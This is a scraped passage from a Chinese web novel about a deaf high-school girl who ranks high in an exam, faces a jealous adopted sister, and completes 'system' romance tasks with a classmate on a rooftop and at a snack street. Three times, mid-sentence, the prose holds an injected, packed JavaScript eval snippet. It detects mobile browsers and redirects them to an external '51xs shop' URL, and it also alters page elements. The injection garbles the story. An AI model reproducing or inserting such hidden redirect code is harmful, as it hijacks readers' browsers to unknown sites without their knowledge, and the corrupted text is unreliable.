池映雪·语文116·数学145·英语125·物理90·生化(赋分)194 总成绩670·班级位次1·年级位次5 池映雪人都傻了。 万苏瑶从人群中挤过来抱着她哇哇大叫,就差没把她抱起来转两圈,她才堪堪回过神来。 算完分数还以为前五十都悬,现在才想起来,这次题目挺难的,给分也严格。 一转头,周围全是羡慕和敬仰的眼神,讲台上的徐静萌也温柔地笑,池映雪很不好意思,把头埋进万苏瑶怀里。 万苏瑶摸着她柔软的头发,老泪纵横:“我家小雪完全是心软的神啊,总成绩比我高了100分,居然还愿意和我贴贴,嘤!” 秋怡飘过:“低声些,难道光彩吗。” “咳,行了。”徐静萌拍了拍几个女生的脑袋,“秋怡给映雪发消息说一下,英语老师让她一会儿去趟办公室。” 胡挚笑着看了一眼教室前面,敲了敲李闻蝉的桌子:“这两天怎么不见咱们蝉哥最忠实的穆小弟?真该让他把这个消息带回一班,气死那群长舌的!” “他妈妈来南城看他,估计过几天就走。穆雨阳放学后要和她多相处,课间得赶着写作业,在那之前他应该都不太有空下来和你吹水。” 李闻蝉淡声道,“还有以后不要老说什么‘小弟’,我们从来没有那种关系。” 胡挚挠头:“嘿嘿,也是,我就是老听他自己这么侃,习惯了。” “不来啊……”他可惜叹气,又很快跃跃欲试,“那我自己去一班说!” Stella找池映雪是因为她的作文。 听力外的120分,她正好拿了100,其中有18分都扣在写作上。第一节帮李华写信还好点,扣了5分,第二节满分25的续写,一半分都没拿到。 Stella把作文里可以改进的地方用红笔划线,给了她一本变化句型和高级替换词总结,让她回去后对照历年高考优秀范文好好整理。 池映雪道谢完离开,正好遇见进门复印资料的沈星桥。 沈星桥停下脚步,还是那样温和亲切的微笑,不知道从哪里知道了她的成绩,打字恭喜。 StarBridge:「映雪你学习比其他人都难,还能取得这样的名次,真的很棒。」 池映雪弯眼笑起来,看见他就开心。 毕竟要不是他,她没法考那么好的数学成绩。 小雪:「谢谢你,沈星桥,多亏了你。」 沈星桥笑容一滞:「?」 小雪:「之前在图书馆,我没有教辅,你好心借过我一本红色的数竞资料书看。最后一道大题我用平时的方法不会证明,用的是这本书里例题的方法。」 「柯西中值,几乎一模一样呢!」 还有上次微积分课上他借给她的笔记本,也有这一节内容,只不过那里光有定义,还没有应用。 「原来是这样,真巧。」 「那我们以后也像那样一起讨论问题吧。」 小雪:「好,一起进步!」 沈星桥重新挂上清澈的笑意,仿佛这一整个雨季都不曾见过的和煦暖阳。 他微微低眸,眼里的深意转瞬即逝,将手机收回身后,指节发白。 中午,万苏瑶兴奋地连戳池映雪好几下。 「小雪神,考这么好,我们一起去大吃一顿庆祝庆祝呀!」 「你还没去过虹文南门那个小吃街吧?上次我哥送饭来就是在那里买的,东西超级多超级好吃,什么都有!我好想念那里的炸鸡柳,还有渝城嬢嬢开的烧烤炒饭摊~~」 池映雪很心动,但把手机推给她。 「不好意思啊瑶瑶,我爸爸发消息说今天中午要回家吃饭,下次我们一起去好吗?」 瑶瑶:「好好好,你先回家。」 瑶瑶:「不过很少听你说池叔叔呢。」 其实秦书也很少被提到,她们谈论亲人的时候,池映雪基本上都是在群里潜水。可秦书最起码给她买了很多东西,还给她和池鲤鲤送过一次饭。 池映雪沉吟,也一头雾水。 这还是爸爸第一次给她发消息。 等坐在饭桌上,分到一块巨大的奶油蛋糕,池映雪忽然明白了什么。 因为她这块蛋糕上写着“恭喜小雪旗开得胜,期中考再接再厉”。 池润满面红光,今天也给她请了一个手语老师,池映雪于是知道他正满意地说:“不愧是我池润的亲生血脉,一来就考这么好,等后面教育跟上来,争取把沈家小子考过!” 他奖励了池映雪一些首饰,秦书和池怀元也喜气洋洋地送上礼物,只有角落的池鲤鲤面色难看。 池鲤鲤这次刚好第六名。 考前信誓旦旦的“保五争三”,对池映雪说的那些话,就像天大的笑话! 池鲤鲤忽然把面前小一号的蛋糕推开,金属叉子扔到地上。 “池鲤鲤!” 池鲤鲤的话从唇中挤出:“一次考好了而已,至于吗?!” “一个这样的、这样的人能考这么高,最后一个考场纪律本来就差,她还随身带着手机,谁知道是不是偷偷藏起来作弊了啊!” 池润呵斥:“你再说一遍!” 池鲤鲤扭头跑走。 秦书立马顾不得给池映雪添牛奶,起身呼唤:“鲤鲤!” “妈。”池怀元的脸沉下来,示意她看向池映雪,“别管她。” “上次中秋我就想说了,鲤鲤被我们宠得太过,其实……这一切本来就该是小雪的不是吗?” 秦书:“你怎么能这么说?鲤鲤虽然娇纵,那也是你养了那么多年的——” “可您觉得,这对小雪公平吗?” 秦书的话噎在嘴里,心虚地看向一旁始终沉静的女儿。 比刚回来的时候健康了不少,可还是很瘦。 “她没有这么多年的环境,照样成为了比鲤鲤还要优秀的存在。”池怀元严肃道,“我们现在对鲤鲤好,是情分,不是让她这样耍脾气,甚至当着小雪的面给人不快的。” “……让她吃吃亏,磨磨性子吧。” 秦书缓缓坐下。 她目光变换,回头看了一眼池鲤鲤消失的楼梯口,迟疑道:“其实鲤鲤刚说的……” 但她又注意到正在看手语翻译的池映雪,那样乖,那样青涩。秦书心中一痛,意识到自己在怀疑什么,立马住口。 池映雪看到一半,手语老师忽然停下,她转身坐端正,对桌上的亲人笑了笑。 其实读空气也能懂每个人在想什么,也许是认为她毕竟听不见,他们的情绪毫不掩饰。 池映雪的心沉了沉,望向正对面空空如也的座位,并没有想象中那样开心。她暂时想不通为什么。 但她还是吃完了整块奶油蛋糕,很甜的栗子口味。 她的第一块蛋糕,池映雪连盘子上的奶油都刮干净。 池怀元抬手摸她的头,池映雪大着胆子,学之前看到过池鲤鲤的动作贴着掌心蹭了蹭,得到一个温暖的笑。 周六下午,一周课程结束,只剩下两节自习。 胡挚把白色的校服外套披在头上,装成神棍,老神在在地伸出手指给章子健把脉。 池映雪好奇地望过去,万苏瑶解释道:「虎子说他最近中医选修课颇有收获,学到了把脉神功,一把一个准。」 这么神奇? 池映雪惊讶地睁大眼。 胡挚给章子健把完脉,似乎很准,万苏瑶摸着下巴:“来虎子,给我也把把。” 胡挚和章子健对视一眼:“来!” 过了一会儿,池映雪看见胡挚被她爆锤。 池映雪:? 章子健:「虎子说瑶瑶是喜脉……」 池映雪:「……」 那他不冤的。 瑶瑶加油! 池映雪也想试试,等万苏瑶打完,她发消息问胡挚。 胡挚一脸受宠若惊:「给雪神把脉,是奴才的荣幸!」 池映雪脸蛋微红,羞耻地伸出手腕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635249|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 胡挚把完脉低头打字,万苏瑶伸脖子去看,又拍了他一巴掌。 “咋你给小雪就是温温柔柔写什么‘多喝牛奶哦,一定还能长高’‘多吃饭多锻炼养气血’,到我就是喜脉?!” 胡挚:“不是你双标的时候了?上次是谁把整理的虹文历年精选题直接印了一套给她家小雪,又是谁一张草稿纸收了我十块大洋?!” 万苏瑶当没听见。 前方一片哄闹,池映雪微笑看着,就算听不见也觉得有意思。 她的视线不自觉向右移。 李闻蝉又在桌上趴着,黑卫衣的兜帽盖在头上。 不知为何,即使是这样趴着,脸都看不见,她仿佛也能在他的脑袋上看见一片巨大的阴云,就像窗户外面被静音的雨天。 池映雪拨弄了几下刘海,越弄越乱。 万苏瑶也跟着她看向那边:「我刚还和虎子说lwc来着。」 「虎子说,他的蝉哥自从下午回教室后就这幅颓废的样子,虽然我看不出来那张脸和平时有什么区别(我感觉都一样凶啊),但他说lwc应该心情很糟,问了也只说没事。」 池映雪颔首,眉蹙起来,手悄悄伸向抽屉,抓住上次在小卖部买的东西。 就是他给她玉米烤肠那天。 池映雪紧紧攥手握拳,自习课这时开始了。 李闻蝉被铃声吵醒,按揉着高挺的鼻梁,弯腰在抽屉里不知在翻找什么,然而一无所获。 胡挚:“蝉哥你在找什么?” “没什么。” 李闻蝉声音很低,“……有糖吗?” “啊?我没有,蝉哥你上次不是说要去小卖部买吗?” “忘了。”买成别的了。 “那现在也没办法咯,小卖部周六中午就关店。” 李闻蝉点点头,烦躁地站起来,大步流星地走出教室后门。 最后出现在缝隙里的那张脸已经沉到极致,关门的声音却依然轻轻的。 “系统。” [宿主,我在的!] 池映雪若有所思:“我想解锁男主人物小传里有关穆雨阳的剧情。” 系统有些懵。 [为什么突然……?]但它还是翻找着人物小传,应该在友情单元。 “不是突然,我想这件事有一段时间了。” 池映雪解释,“还记得上次你给我看的节点吗?按理来说,不管有没有我的变数,穆雨阳如果出事,李闻蝉都会帮他报仇,就像论坛那时一样。” “可你的选项里,明确表示穆雨阳被报复,最后出来仗义执言的还是池鲤鲤,这不符合他和李闻蝉的关系。” 更确切来说,不符合池映雪对李闻蝉的了解,倒是打破了她对池鲤鲤的认知。 结合穆雨阳这几天都没有出现,她推断这两个人之间一定出了什么问题。 系统都快忘了这茬,没想到宿主记性这么好,赶紧倒回去看:[还真是!] 系统突然弹出来一个大大的惊叹号,[宿主,好奇怪啊!] [男主的人物小传里,有关穆雨阳居然只有477字!] 这也太少了,上次那个蒋渣渣都有405字,而且是因为蒋傅和李闻蝉的友谊只停留在幼年! 难道李闻蝉和穆雨阳的友谊就是高中限定吗?不会吧…… 池映雪眯起眼:“先看看吧,从后往前解锁。” 上次发完动态,又多了两个任务,一个是被男主送礼物,一个是给男主的企鹅空间留言,她正好发一条“中秋快乐”,三百字到手,任务更新为“关心男主的身体”。 系统点头,边解锁剧情边感慨:[嘻嘻,宿主真是长大了,现在攻略这么积极,本统统好欣慰哟!] “……” 池映雪手指一僵,“攻略?” [不是吗?]系统和她对视,[宿主解锁人物小传,知道男主是哪里不开心,就可以对症下药,更好地攻破他的心防了呀!] 池映雪移开视线,不自然地眨了眨眼。 [宿主这么聪明,难道不是这么想的吗?] ……… “…是……” 池映雪捏着手指。 “是,吧。” 30. 第 30 章 第二节自习课,池映雪打过报告,拿着整理好的英语作文素材上楼,这是Stella专门布置的任务。 Stella已经回去了,池映雪把素材放在她的工位,拍照发给她。 另一边,齐幂和二班的数学老师正在讨论月考成绩,二班老师看见了池映雪,想起那张被数学组传阅的漂亮答卷。 “那女孩太神奇了。”他叹道,“说实话,一开始我还对虹文让她进来的决策感到失望,谁知道这么优秀。” “简直就像当年的你和徐老师一样,哈哈,京师大数学系的两个传说!” 齐幂顺口道:“单看这次确实不错,倒是还没有到与徐老师比肩的程度。” 他随手整理桌面上的文件,在最下方发现一张打印的匿名信。 “本人现对高二(五)班池映雪同学的月考成绩提出以下质疑,希望引起校方重视,开展对她的调查……” 出了办公室,池映雪没有回班,而是沿着楼梯往上走,一直走到天台。 系统检测到李闻蝉就在那里。 池映雪第一次推开天台的门,阴雨天气,空阔的地面一片灰黑,远方的城市剪影浸泡在蒙蒙的雾中。 透明的伞靠在墙边,右手边有一道檐,檐上滴雨。 李闻蝉仰天坐在干燥的地面上,脸上倒扣一本翻开的漫画书,还戴着兜帽,双手松垮的抱在胸前,露出一截手腕。 寒冷的白皮,青筋明显,她亲眼见过抓住宁世延扔在地上的这只手,此刻看上去有些脆弱。 池映雪撑起那把透明雨伞,悄悄走到他面前站定。 她灵机一动,伸手摸兜,从里面掏出一包手帕纸,朝李闻蝉丢过去。 纹丝不动。 看来是睡着了。 池映雪揣回手帕纸,捏捏拳在心里打气,松开后颤着手指伸向那截露出来的手腕。 她仔细回忆着胡挚刚才的手法,学习他把脉。 1秒,2秒,李闻蝉都没动,真是天助她也。 而且这也算是关心他的身体吧? 手指与肌肤相贴的地方突然抖动。 池映雪下意识想抽回手,被系统弹出倒计时拦截:[宿主宿主,再坚持2.7秒!] 书页翻动和书本落地的声音接连响起,一张面无表情的脸从后完全显露。 眼神很深,目光清明,那才不是刚醒来的样子。 池映雪捏住伞柄的手指猛然收紧。 李闻蝉盯着她,谁也没有动,池映雪的手指还搭着他的脉搏,指腹传来有力的跳动,几乎快要冲破她的耳膜。 他的嘴角却是向下的,很冷漠。 时间到了。 两个任务同时完成,池映雪大脑却一片空白,没有余地想这一出,愣着撤开手插进校服外套的口袋。李闻蝉指尖动了动,收回视线,垂下眼眸。 低着头,她看不清他的口型。 李闻蝉喃喃:“……池映雪。” 透明的雨伞抖了抖,落下两滴雨水,打在他的眼睑。 声音异常嘶哑,柑橘的苦弥漫在潮湿雨味中。 “为什么就你赶不走呢?” 他一直没有抬头,直到耳边只剩下风声和雨声,轰鸣听起来像可怕的静谧。 李闻蝉紧抿薄唇。 他的手心捏紧又松开,喉结滚动,僵硬地抬起轻颤的眼皮,瞬间与正好蹲下的女生平齐对视。 [叮!攻略对象好感+0.1。] [当前男主好感:19.6%。] 池映雪歪了歪头,在他脸上捕捉到一闪而过的慰藉。 果然,这家伙其实根本不是想让她走吧。 他心里的她可听不见,真想赶人,要么发消息,要么上手,以他的性格,最可能自己大踏步离开。 然而李闻蝉只是坐在这里,把头低着,让她连口型也见不到。 什么人啊,这么幼稚,李闻蝉。 池映雪在那双漆黑的眼里看见被揉碎般的复杂,好像还有点羞赧和心虚,忍不住将雨伞朝他倾斜。 顺檐而下的寥寥几滴雨也被隔绝在他们的世界外。 时间回到李闻蝉走后。 池映雪看见了系统传来的资料。 [人物小传-高中-友谊篇【穆雨阳】(解锁进度300/477)] [……因此,穆雨阳自愿成为他的“小弟”,尽管李闻蝉从未这么想过。] [高二上学期首次月考后,穆雨阳的母亲从家乡来看望他。和班主任交流学习情况时了解到穆雨阳与成绩靠后的李闻蝉、胡挚等人关系甚密。 穆母认为若非如此,穆雨阳的成绩会更进一步,因此私下找到李闻蝉,劝他放过她的孩子。] [穆母是单亲妈妈,说话难听,对穆雨阳却无可指摘。李闻蝉不愿让穆雨阳难做,故意和欺负过穆雨阳的小混混一起出现在他面前,主动疏远,却导致没有及时发现穆雨阳受到宁世延等人的欺负,这也为正文剧情中他在商场打压宁世延掌权后的宁家埋下伏笔。 高中结束,穆雨阳以优秀成绩去了心仪的大学,李闻蝉匿名向后来旧友在的项目组赞助经费,除此之外再无交集,二人渐行渐远。] 池映雪看完后很久没有动静,呆呆地坐在椅子上,直到系统告诉她李闻蝉的位置。 她再次将空闲的那只手插入兜里,摸出来那个在抽屉里放了很久的东西。 李闻蝉的瞳孔剧烈颤抖。 那是一根棒棒糖。 其实池映雪也不知道为什么她会逃了自习来到这里。 但她知道一件事。 别扭的笨蛋,是应该补充点糖分。 她偏头夹住伞,拆开透明的糖纸包装,学习李闻蝉上次的动作,捏着白棒,将棕色的糖对准他…… 等等? 棕色?! 池映雪呆若木鸡,完了! 她刚才出门前脑子乱糟糟,动作也仓促,还以为拿的是那天专门买的甜橘子味,怎么不小心拿成巧克力的了! 李闻蝉的呼吸声停了几息,忽然笑出声。 许久不曾听到的清润开怀从红唇溢出,肩膀都微微颤起来,黑卫衣下的胸膛也在起伏。 池映雪又注意到了他弯弯眼下的大卧蚕,还有左边嘴角外的梨涡,比上次明显不少。 她回神,郁闷地想要把棒棒糖自己吃了,李闻蝉却抓住她手指在白棒上面一点的空位,就这样咬住圆滚滚的巧克力糖果。 李闻蝉的眉头皱了一下,含着糖再次看向她,眼里的阴霾散去,只余下很灿烂的光。 “真是怕了你。” 池映雪手里的雨伞被他收起来,她懵懂地抬头。 雨停了。 [叮!攻略对象好感+0.1111111……。] 乌云缓慢地朝天边散开,蓝灰色的缝隙后,晴朗夕光透射如柱,恰好有一缕洒在他们在的这侧天台。 系统播报延迟显示: [叮!“肢体接触(至少5秒)x3”任务完成,更新为:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635250|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送出爱的明信片”。] [叮!“关心男主的身体”任务完成,更新为:“给彼此一个爱的备注”。] [叮!“互相投喂”任务完成,更新为:“和男主面对面吃饭”。] 池映雪:………… 这么有爱? “统。”她从地上站起来,“你确定这个无限循环是认真的吗?上次的报修结果出来了么?” 系统心虚,慢吞吞浮现文字在电子屏上:[结果还不太确定,上面说过段时间再说。] 池映雪点点头,突然听见一阵拨号声。 李闻蝉正在四处找什么的样子,终于在天台角落的一个盛雨水的大桶前停下,拧着眉研究。 池映雪听见他和电话对面的人说桶坏了。 真热心肠啊。 现在离下课还有十几分钟,池映雪打算回班收拾东西,刚转向天台的门,还没来得及掏出手机给李闻蝉发消息问他要不要一起,那人就匆匆抬脚来到她面前。 CHAN:「你先别走,我有话问你。」 池映雪仰起脸,金色的夕阳映在李闻蝉的侧脸,脸颊上染着薄薄的红。 小雪:「?」 CHAN:「之前……」 李闻蝉每打一个字就不自然地眨一下眼,池映雪那边一直显示对方正在输入中。 「美术课,那幅画,还有好多事。」 CHAN:「你不生我的气吗?」 他当时半途就走了,虽然后来又回来,但池映雪没想到他还记得这件事。她怔了一会,抿着唇打字:「早就过去了呀。」 李闻蝉:“啧。” 李闻蝉小声嘟囔:“过去什么过去?” CHAN:「你就告诉我,有没有生气?」 都过了这么久了,她还气什么…… 她差一点,都把自己说服了。 池映雪的鼻尖酸了酸。 他干嘛要提? 池映雪不回他,李闻蝉就一直等着。 过了好久,她咬着唇,轻轻点了一下头,只有一下。 清瘦的手掌伸出来,比了一个和“OK”差不多的手势,食指与大拇指收拢。 「只有一点点。」 食指和大拇指出乎意料地被分开,池映雪眼睛瞪大。 李闻蝉伸手,将那两根贴在一起的细手指从中拨开,分的很大,“一点点”变成“亿点点”。 「很生气也没关系,应该的。美术课那天我误会了你的画,我以为你没用心,表情不太好。」 「还有其他的事……原因不好说,但现在我想通了。其实都不是问题,所以。」 李闻蝉俯下腰,膝盖微微弯曲,与她平视。 「对不起,池映雪。」 「可以原谅我吗?」 这次是面对面,正经的道歉。 池映雪背过身去,抬头看了看天。不知道是不是错觉,雨后的金橘色天空好像有一道淡淡的彩虹,像七彩斑斓的弯月亮。 像她无意识弯起来的眼睛。 雨后空气清新,棒棒糖早在说话前已经被他取出背在身后,浓郁的巧克力香味在湿湿的风间流动。 小雪:「没关系,李闻蝉。」 她又听见他的闷笑。 耳边的颤感酥酥麻麻,手上也传来轻震。 CHAN:「原谅的也太快了吧。」 CHAN:「饿不饿?」 CHAN:「我要和朋友去南门小吃街,一起?」 31. 第 31 章 虹文南门外半条街拐进去,有一条在全城都很有名的小吃街,如果碰上节假日,还会有许多游客。 正是放学的时候,道路上书包涌动,池映雪跟在李闻蝉后面,不近不远地走着。 既不会和他在一起太招摇,又能听见他的脚步声,很安心的距离。 李闻蝉似乎很不喜欢拥挤的人潮,不住地揉着耳垂,本来腿就长,步子还越迈越大。池映雪逐渐从快走变为小步跑,直到前方背影蓦然停下,她一时刹不住车,直愣愣地撞上去。 好硬的背。 池映雪捂住脑袋,皱着脸瞪过去,李闻蝉居然还在笑! 李闻蝉很快单手成拳压住上扬的嘴角,拉着池映雪的书包带,走向人流稀疏的两家街边店面中间空地。 CHAN:「别动。」 CHAN:「我给你看看,疼不疼?」 池映雪掀起刘海小心地揉了揉,没有肿,于是摇摇头。 李闻蝉俯首,顺着她的动作移动和定格视线,呼吸放轻一瞬。 他很快眯起狭长的眼,朝某个方向看去,发出冷笑。 池映雪踮起脚从他身后探出脑袋,不远处的树荫下,一个花枝招展的红发男生正举着手机,应该是在偷拍他们。 经过上次宁世延的事,池映雪对这种人天然没什么好感。再看那人似乎与李闻蝉相识,高阔着步走近他们,身后还跟着两个“跟班”一样的人。 [李闻蝉不愿让穆雨阳难做,故意和欺负过穆雨阳的小混混一起出现在他面前,主动疏远……] 池映雪警铃大作! 李闻蝉似乎打算迈步朝男生走去,池映雪眼疾手快地抱住他的斜挎包,不让他走。 ?这包怎么是空的? 她隔着布料一摸,这个大小,这个手感,里面估计只有一本漫画书。 李闻蝉清咳,摸了摸鼻子,从她手里一点点抽回空瘪的包,不如平时那样理直气壮。 池映雪更急了,他不会真的要去和那个疑似混混头子的人会和吧?简直是笨死…… 韩潇已经走过来,勾着李闻蝉的肩,朝他抛了个媚眼,迫不及待地伸长脖子凑近池映雪,一睹真容。 然后得到了一个敌视的眼神。 韩潇:? 嫌弃他?? 拜托!他好歹也是HK韩少,贵族学院的万人迷…… 李闻蝉的嘴角难以压下,笑得一抖一抖,推开韩潇百思不解的脑袋,正儿八经道:“走开,别吓着人家小姑娘。” 他还特嫌弃地扫视韩潇的打扮,“真的穿的和个小混混似的……” 韩潇:??? 池映雪从李闻蝉的语气中听出什么,意识到她好像是误会了,重新投以视线。 男生比李闻蝉稍微矮一点,但也称得上高挑修长。鲜红色中分碎发配上银色亮片T恤和缀着宝石的破洞裤,外套是一件铆钉黑皮衣,不好好穿着,而是半穿半脱,松垮搭在手肘的地方。 韩潇注意到池映雪的目光,那双桃花眼很快回望过来,m形的唇翘起,朝她挤眉弄眼地放电。 李闻蝉的手心有些发痒,上前一步将他们两个隔开,示意池映雪跟上,单手压着韩潇往小吃街走。 韩潇回头看了一眼池映雪,wink微笑,又迅速凑近李闻蝉。 “这就是你那个小……” 李闻蝉瞪了他一眼,韩潇拍了拍嘴,“小聊天对象。” “说起来,我还得多谢了她,让我那天赌赢了。” 那天他看见他们的聊天记录,以多年和海后们斗智斗勇的聊天经验打赌——对方当天都不会再回李闻蝉,但第二天一早就会回,借口还很有可能是昨晚睡太早没看见。 结果完全中枪。 韩潇感慨,“没想到啊!我有朝一日也能赢李闻蝉。” “话说小池同学还挺聪明的,和我的想法一样,接近池老爷子身边的人。” 他贼兮兮地朝李闻蝉笑,“蝉哥,不是最讨厌不纯的关系和耍小心思的人吗?什么感受啊?” 居然还带着她来吃饭,这是要吓唬还是报复? 李闻蝉发给他一记眼刀,向后望了眼池映雪。 见她一直紧跟着他们,才面色稍缓。 韩潇以为他是心有顾虑:“有什么就说呗,反正她又听不见。” 李闻蝉的步子顿了一拍,眉心皱起。 “以后别说‘又听不见’这种话。” “我也……说过,现在想想,即使没有恶意,这几个字都不算友好。” 净澈的声音顺着夕间晚风,吹拂池映雪耳廓边碎发。 天和头顶树叶都是金黄,灿色下她循着他的影走,将头发别在耳后,悄悄抬起眼,凝视挺阔宽肩的黑色卫衣背影。 李闻蝉:“另外,有小心思……就有吧。” 他声音放低,手心抚上后颈,“有小心思,起码证明花了心思啊。” 韩潇:??? 大哥你说的是中文吗? “你不对。” 韩潇瞠目结舌,“李闻蝉你不对劲!” 李闻蝉接着悠悠往前走,面容平静,理都不理他。 小吃街种类繁多,有推车摆摊的,也有或大或小的店面。 池映雪听万苏瑶上次的介绍,想找找传说中非常好吃的鸡柳或烧烤,李闻蝉像是知道她在想什么,径直往卖烧烤炒饭的渝城嬢嬢那边走去。 不过,他在虹文这么久,这家店又出名,会选这家也不算意外。 池映雪收起一闪而过的疑惑,跟着他落座。 哦对了。 要和男主面对面吃饭。 他们是六人圆桌,嬢嬢抽走一把凳子。池映雪从李闻蝉身边绕开,抱着书包坐到他对面的位置上。 李闻蝉正翻着菜单,想要偏头问她吃什么,结果人没了。 李闻蝉:? 他这才发现了悄无声息闪现到正对面的某人,隔一条大圆桌直径的距离。 李闻蝉舌尖抵着上颚,无语地要笑了。 池映雪看天看地,朝内拱了拱脚尖。 CHAN:「嫌弃我?」 池映雪心虚,慌乱打字:「没有。」 CHAN:「那就坐回来。」 池映雪和系统签过协议,没法和他讲任务的事。 她一时想不到什么理由,干脆破罐子破摔:「不要。」 李闻蝉在那边输入了半天,最后没再发过一句话来,倒也没强求她。 池映雪松了口气,这才敢抬头,在对面那张浓颜上见到清晰的懊悔。 她眨了眨眼,李闻蝉又是一副慵懒淡漠的表情,应该是她看错了。 一起来的两个男生坐在池映雪一左一右,韩潇挤在李闻蝉身边坐,围观全程,笑得幸灾乐祸。 “诶,说真的,要不要你韩哥教你几招?” 李闻蝉把菜单往他怀里一扔:“坐过去和她一起选菜,我去买鸡柳。”说罢就抽开凳子。 韩潇牙有点酸,拉住他卫衣下摆:“别急,我真有话要说!” “放。” “……”韩潇白了他一眼,“你是第一次请女生吃饭么?” 李闻蝉瞥了一眼低头看手机的池映雪,收回目光,镇定自若道:“嗯,怎么。” “还‘怎么’?第一次带女生出来吃饭就是这种夜宵摊子,要不是我知道你,还真以为是个抠货呢!” 李闻蝉僵硬地仄眉,转瞬很有底气:“不是你缠着我要来体会人间烟火气?” “而且我就是顺道请新同学吃个便饭,和抠啊吝啬啊有什么关系。” 他边说还边用余光再度看向对面,池映雪不知何时也向他们分来注意。李闻蝉眼睫翕动。 “你最好只是顺道请个便饭,请普通的同学。” “本来就是,爱信不信。” 卖炸鸡柳的小推车摊主是一对中年夫妇,戴着透明口罩和袖套,无骨鸡柳包裹着淀粉铺满锃亮的大铁盘,摆放有序的调料、锅里清澈的油都能看出卫生条件很好。 铁盘边贴着一张手写菜单,“炸鸡柳”的上方写有标红的“我是聋哑人,请用手指点下,扫码付款,谢谢理解!” 李闻蝉付完款,等待老板制作的时候也没闲着,不断划着屏幕,然后切换到聊天小窗。 小雪:「?」 再往上,他刚才转发的那几条店面链接赫然在目。 CHAN:「光吃这些太腻,再点些甜品和喝的。」 CHAN:「不许不要,免得你静俭哥和老爷子天天念叨我不照顾你。」 小雪:「……」 小雪:「我不知道点什么。」 CHAN:「那就多肉葡葡,再来一块巧克力蛋糕。」 那边过了一会才回,隔着屏幕都能感觉到焦灼:「算了,我点进去看了,怎么都这么贵呀?」 李闻蝉逗她:「那你就好好想想该怎么还。」 上方一直显示正在输入中,大概几十秒钟过去,池映雪把蛋糕和奶茶的钱原模原样给他转账过来。 李闻蝉舌尖顶着后槽牙,忍不住哼笑出声,收起手机,没收钱也没回复。 这家鸡柳果然生意红火,很快他的身边就出现了其他顾客。 李闻蝉向边上退一步,收起手机,正好看见那个中年人在看完菜单后一闪而过的嫌恶。 中年人很快掉头走远,李闻蝉皱起眉,像是眉心染上细细密密的刺痛,身边又多了几个身影。 “好可怜啊,居然是聋哑人。” “对呀,那我们就买这家吧。” “好。”… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635251|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 女老板带着干净的白手套,娴熟地捞起沸腾油锅里金灿灿的鸡柳,入盆时还冒着锅气。 丈夫接手小铁盆,撒上秘制调料,二人显然已经磨合多年,即使不用手语或眼神交流也能心有灵犀。 李闻蝉抬头看了不远处街边露天的大圆桌一眼,目光锁定低头的女生。 手机又响起提示音。 池映雪戳了戳他。 小雪:「烧烤好了。(图片)」 小雪:「你什么时候回来呀。」 “呵。”李闻蝉勾唇。 「两分钟。」 男老板正在撒鸡柳的秘制调料,刚来的几人扫码付款,原价12元,直接扫了20元。 女老板猛地抬头,白手套一个劲地左右摆,脸上写满不知所措,嘴巴开开合合,只能发出喑哑的粗短浊音。 那几人友善地莞尔,做出鼓励的手势,女老板想退钱也毫无办法,最后不断地低头鞠躬。 李闻蝉注意到男老板的眼神十分复杂,人群熙攘,他靠近了些,轻抚耳根,神情染上几分专注。 撒料和拌匀很快,男老板把纸袋装进塑料袋,插上竹签,双手递出。李闻蝉略一思忖,双手接过,趁他还没移开眼神,空出一只手伸出拇指弯曲两下。 “!” 夫妇一起朝他看过来,显然很惊讶地憨笑,举起双手回以同样的手势。 李闻蝉的眼皮轻轻地颤了一下,扬起眉,嘴唇微微上翘,有种微妙的心情。 圆桌上,烧烤油光莹润,串炒饭据说是川渝那边的特色,先炸再炒,白烟已经散了些,仿佛还能透过滚烫的鲜香见得烤串在烈火和油锅里滋滋冒油的时刻。 没人动筷,李闻蝉也没收款,池映雪低头不断刷新界面,韩潇看着她因为低下头的脸蛋,想到了软乎乎的那种水蜜桃。 这看起来也太乖了。 韩潇冒出个坏点子,搬着凳子弯腰凑过去,看着像半蹲在池映雪面前。 池映雪的手机屏幕被敲了敲。 “真的不会说话诶,好神奇。” 韩潇笑眯眯地凑近池映雪,贴了一张不知哪来的便签纸在她刘海,池映雪撕下来,上面是一段简短的自我介绍。 「妹妹好,我是李闻蝉那家伙的朋友韩潇,184.3cm,双子座,加个好友嘛~」 系统兴奋起来:[宿主,是韩潇!男主的好友团之首,未来男主开拓HK业务,扩容自己的商业帝国,他是最坚实可靠的左膀右臂!] 可靠? 池映雪抬起眼皮,韩潇又一次wink,宛如一只花孔雀。 池映雪:…… 这个商业帝国真的能被顺利建成吗? 不知为何,她脑海里忽然浮现出李闻蝉穿西装驰骋商海间的样子,应当比现在硬朗些,更成熟些。 